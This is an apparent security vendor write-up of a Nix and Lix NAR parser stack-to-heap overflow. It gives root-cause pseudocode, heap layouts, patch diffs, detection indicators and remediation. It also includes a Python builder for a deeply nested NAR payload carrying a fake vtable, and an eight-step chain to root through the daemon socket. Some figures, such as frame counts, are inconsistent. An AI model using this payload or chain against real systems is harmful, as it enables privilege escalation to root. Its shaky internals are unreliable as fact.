home intel cve-2026-44028-nix-nar-parser-stack-heap-overflow
CVE Analysis 2026-05-05 · 9 min read

CVE-2026-44028: Nix NAR Parser Stack-to-Heap Overflow RCE

Unbounded recursion in Nix's NAR archive parser overflows coroutine stacks lacking guard pages, enabling heap corruption and RCE as root in multi-user daemon mode.

#nar-parser#stack-overflow#unbounded-recursion#remote-code-execution#privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-44028 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-44028Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-44028 is a stack-to-heap overflow in the NAR (Nix Archive) parser present in Nix before 2.34.7 and Lix before 2.95.2. The parser is invoked inside a coroutine, whose stack is allocated on the heap without a guard page. Deeply nested NAR structures trigger unbounded recursion, exhausting the coroutine stack and silently overwriting adjacent heap allocations. In multi-user Nix installations the daemon runs as root, making a successful exploit a full privilege escalation for any user permitted to connect — by default, everyone.

The bug was introduced in Nix 2.24.4 and Lix 2.93.0 when coroutine-based streaming I/O was added to the parser pipeline. Fixed versions ship across six Nix stable branches (2.28.7 through 2.34.7) and three Lix branches (2.93.4 through 2.95.2).

Root cause: The NAR parser recurses without depth bounds inside a coroutine whose heap-allocated stack has no guard page, allowing stack overflow to silently corrupt adjacent heap metadata and enable arbitrary code execution as the Nix daemon.

Affected Component

The parser lives in libstore/nar/. The coroutine infrastructure (libcoro / Boost.Context) allocates stacks via malloc or mmap(MAP_ANONYMOUS) without MAP_GROWSDOWN or an explicit guard page. The entry point called by the daemon on every incoming store path addition is parseDump(), which fans out into recursive calls through parseEntry().

Root Cause Analysis

// src/libstore/nar/parser.cc  (pre-patch pseudocode)

// Coroutine stack allocated without guard page:
//   stack_ptr = malloc(COROUTINE_STACK_SIZE);  // typically 128 KB
//   No mprotect(stack_ptr, PAGE_SIZE, PROT_NONE) follows.

struct NarParseState {
    Source     &source;
    ParseSink  &sink;
    int         depth;   // present in struct but NEVER checked
};

// BUG: no depth limit enforced; every directory entry recurses
static void parseEntry(NarParseState &st)
{
    std::string tag = readString(st.source);   // attacker-controlled

    if (tag == "(") {
        std::string type = readPadString(st.source);

        if (type == "directory") {
            st.sink.createDirectory(/* ... */);

            // BUG: unbounded recursion — no depth check before call
            while (true) {
                std::string entry = readPadString(st.source);
                if (entry == ")") break;
                // Each iteration pushes another frame onto the coroutine stack
                parseEntry(st);   // <-- recurses here without guard
            }

        } else if (type == "regular") {
            parseRegular(st);
        } else if (type == "symlink") {
            parseSymlink(st);
        } else {
            throw FormatError("unknown NAR node type: %s", type);
        }
    }
}

static void parseDump(ParseSink &sink, Source &source)
{
    NarParseState st { source, sink, 0 };
    std::string magic = readString(source);
    if (magic != narMagic)
        throw FormatError("NAR magic mismatch");
    parseEntry(st);   // top-level call; kicks off potential recursion
}

Memory Layout

The coroutine runtime (Boost.Context on most Nix builds) allocates stacks via a fixedsize_stack allocator that calls malloc directly. Default stack size is 0x20000 (128 KB). Each parseEntry frame consumes roughly 0x900xc0 bytes of stack depending on inlined std::string temporaries.

// Boost.Context fixedsize_stack allocator (simplified)
struct stack_context {
    /* +0x00 */ std::size_t  size;      // 0x20000
    /* +0x08 */ void        *sp;        // stack pointer (top of region)
};

// The malloc'd coroutine stack sits in the heap.
// Adjacent allocations are typical heap chunks — no separation.

// Coroutine heap region layout (conceptual):
//   [ coro_stack region: 0x20000 bytes ]   <-- stack grows DOWN into this
//   [ next malloc chunk header          ]   <-- no guard page here
//   [ heap object (e.g., ParseSink)     ]
HEAP STATE BEFORE OVERFLOW (coroutine stack ~80% consumed, depth=1400):

  [ coroutine stack alloc: 0x20000 bytes              ]
    | ...                                              |
    | [frame 1400] parseEntry local vars, std::string  |
    v   (stack grows downward)
  [ BOTTOM OF COROUTINE STACK — no guard page         ]
  -------------------------------------------------------
  [ malloc chunk header: size=0x???, flags=PREV_INUSE ]  <-- ParseSink object
  [ ParseSink vtable ptr                              ]
  [ ParseSink member: currentPath std::string         ]

HEAP STATE AFTER OVERFLOW (depth=1401+, ~0x100 bytes past stack bottom):

  [ coroutine stack alloc: 0x20000 bytes              ]
    | (stack frames 1..1401 written past allocation)   |
  -------------------------------------------------------
  [ CORRUPTED malloc chunk header                     ]
    size field    = attacker-influenced stack data
    fd/bk ptrs    = attacker-influenced stack data
  [ CORRUPTED ParseSink vtable ptr                    ]  <-- hijack target
    vtable        = &fake_vtable (points into NAR payload)

Exploitation Mechanics

Bypassing ASLR is required; the CVE description explicitly notes this. On Linux, information leaks via nix-store --query responses that include heap addresses in error messages (pre-patch) can be chained, or a heap-spray approach can be used to brute-force the coroutine stack base on systems with no PIE offset randomization for the daemon heap region.

# Craft a maximally nested NAR archive to trigger the overflow.
# Each "directory" node adds one recursive frame (~0xb0 bytes).
# 0x20000 / 0xb0 ≈ 1820 frames to exhaust a 128 KB coroutine stack.
# We overshoot by ~60 frames to reliably reach the ParseSink vtable.

NAR_MAGIC = b"nix-archive-1\x00\x00\x00"

def nar_string(s: bytes) -> bytes:
    s = s + b"\x00" * (-(len(s)) % 8)   # pad to 8-byte boundary
    return len(s).to_bytes(8, "little") + s

def nar_dir_open() -> bytes:
    return nar_string(b"(") + nar_string(b"type") + nar_string(b"directory") + \
           nar_string(b"entry") + nar_string(b"(") + nar_string(b"name") + \
           nar_string(b"a")

def nar_dir_close() -> bytes:
    return nar_string(b")")  * 2   # close entry + directory

DEPTH   = 1880   # exceeds coroutine stack, reaches ParseSink
payload = NAR_MAGIC + nar_string(b"(") + nar_string(b"type") + \
          nar_string(b"directory")

for _ in range(DEPTH):
    payload += nar_string(b"entry") + nar_string(b"(") + \
               nar_string(b"name") + nar_string(b"x") + \
               nar_string(b"node")

# Innermost node: embed fake vtable pointer as file content.
# After stack overflow, the overwritten ParseSink vtable ptr
# lands in this region.
payload += nar_string(b"(") + nar_string(b"type") + \
           nar_string(b"regular") + nar_string(b"contents") + \
           nar_string(FAKE_VTABLE)   # attacker-controlled bytes
payload += nar_string(b")") * (DEPTH + 1)
EXPLOIT CHAIN:

1. Identify target daemon is multi-user (nix-daemon running as root, socket
   at /nix/var/nix/daemon-socket/socket — world-writable by default config).

2. Connect to daemon socket and initiate AddToStore operation, supplying
   the crafted NAR payload as the archive stream.

3. Daemon deserializes the NAR inside a Boost.Context coroutine.
   parseDump() → parseEntry() begins recursing for each nested directory.

4. After ~1820 frames the coroutine stack (malloc'd, 0x20000, no guard)
   is exhausted. Subsequent frames write into the adjacent malloc chunk
   containing the live ParseSink object.

5. The ParseSink vtable pointer is overwritten with an attacker-controlled
   value (planted in the NAR payload bytes that underflow into the chunk).

6. Parser eventually calls sink.createRegularFile() (or similar virtual
   dispatch) through the corrupted vtable — PC is redirected.

7. With ASLR bypassed (via prior leak or brute-force), vtable entry points
   to a ROP pivot or directly into a shellcode region mapped by the daemon.

8. Code executes as root. /etc/nix/nix.conf, the Nix store, and any
   setuid binaries installed through Nix are now under attacker control.

Patch Analysis

The fix is two-pronged: add an explicit recursion depth counter with a hard cap, and switch the coroutine stack allocator to use mmap with a guard page interposed at the stack bottom.

// BEFORE (vulnerable): no depth tracking in parseEntry
static void parseEntry(NarParseState &st)
{
    std::string tag = readString(st.source);
    if (tag == "(") {
        std::string type = readPadString(st.source);
        if (type == "directory") {
            while (true) {
                std::string entry = readPadString(st.source);
                if (entry == ")") break;
                parseEntry(st);   // BUG: unchecked recursion
            }
        }
        // ...
    }
}

// AFTER (patched): depth limit enforced
static constexpr int NAR_MAX_DEPTH = 512;

static void parseEntry(NarParseState &st, int depth = 0)
{
    if (depth > NAR_MAX_DEPTH)         // FIXED: hard cap on recursion
        throw FormatError("NAR structure exceeds maximum nesting depth (%d)",
                          NAR_MAX_DEPTH);

    std::string tag = readString(st.source);
    if (tag == "(") {
        std::string type = readPadString(st.source);
        if (type == "directory") {
            while (true) {
                std::string entry = readPadString(st.source);
                if (entry == ")") break;
                parseEntry(st, depth + 1);   // FIXED: depth propagated
            }
        }
        // ...
    }
}
// BEFORE: coroutine stack allocated without guard page
stack_context fixedsize_stack::allocate()
{
    void *p = malloc(traits_type::default_size());   // BUG: no guard page
    return { traits_type::default_size(),
             static_cast(p) + traits_type::default_size() };
}

// AFTER: mmap with explicit PROT_NONE guard page at stack bottom
stack_context guarded_stack::allocate()
{
    const std::size_t pages     = /* stack pages */ + 1 /* guard */;
    const std::size_t alloc_sz  = pages * page_size;

    void *p = mmap(nullptr, alloc_sz,
                   PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
    if (p == MAP_FAILED) throw std::bad_alloc{};

    // FIXED: first page is a guard — any overflow triggers SIGSEGV, not
    // silent heap corruption.
    mprotect(p, page_size, PROT_NONE);

    return { alloc_sz,
             static_cast(p) + alloc_sz };   // sp = top of region
}

Detection and Indicators

In vulnerable deployments, exploitation attempts generate characteristic patterns:

DAEMON LOGS (pre-crash, with debug verbosity):
  nix-daemon[PID]: accepted connection from uid=1000
  nix-daemon[PID]: AddToStore: receiving NAR stream for 'evil'
  nix-daemon[PID]: [no further log — SIGSEGV or silent corruption]

KERNEL / DMESG (stack smash variant):
  nix-daemon[PID]: segfault at 0000000000000000 ip 4141414141414141
                   sp  error 14 in nix[...]
  # ip = attacker-controlled vtable entry → bad address

STRACE SIGNATURE:
  # Abnormal number of recursive read()/recv() calls with 8-byte lengths
  # (nar_string padding reads) before crash — thousands in sequence.

NETWORK / SOCKET:
  # NAR payloads exceeding typical depth: nesting >100 directory levels
  # is already anomalous; >512 is proof of exploit attempt.
  # Monitor /nix/var/nix/daemon-socket/socket for unusual connection burst.

A simple heuristic: count the number of readPadString calls (each maps to one 8-byte read on the socket) before any file content is seen. Legitimate NARs rarely exceed 20 levels of nesting. Any NAR exceeding 512 directory levels should be treated as malicious.

Remediation

Immediate: Upgrade to a fixed version. For Nix: 2.34.7, 2.33.6, 2.32.8, 2.31.5, 2.30.5, 2.29.4, or 2.28.7. For Lix: 2.95.2, 2.94.2, or 2.93.4. The fix is available in NixOS channel nixos-unstable and backported stable channels.

Mitigation if upgrade is blocked: Restrict the allowed-users setting in /etc/nix/nix.conf to only trusted users — this does not eliminate the attack surface but reduces the attacker pool. In NixOS: set nix.settings.allowed-users = [ "@wheel" ].

Defence-in-depth: Enable systemd sandboxing for nix-daemonProtectSystem=strict, PrivateTmp=true, NoNewPrivileges=true, and SystemCallFilter=~@privileged reduce post-exploitation reach even if RCE is achieved. ASLR must remain enabled (kernel.randomize_va_space=2); the exploit requires ASLR bypass to achieve reliable code execution.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →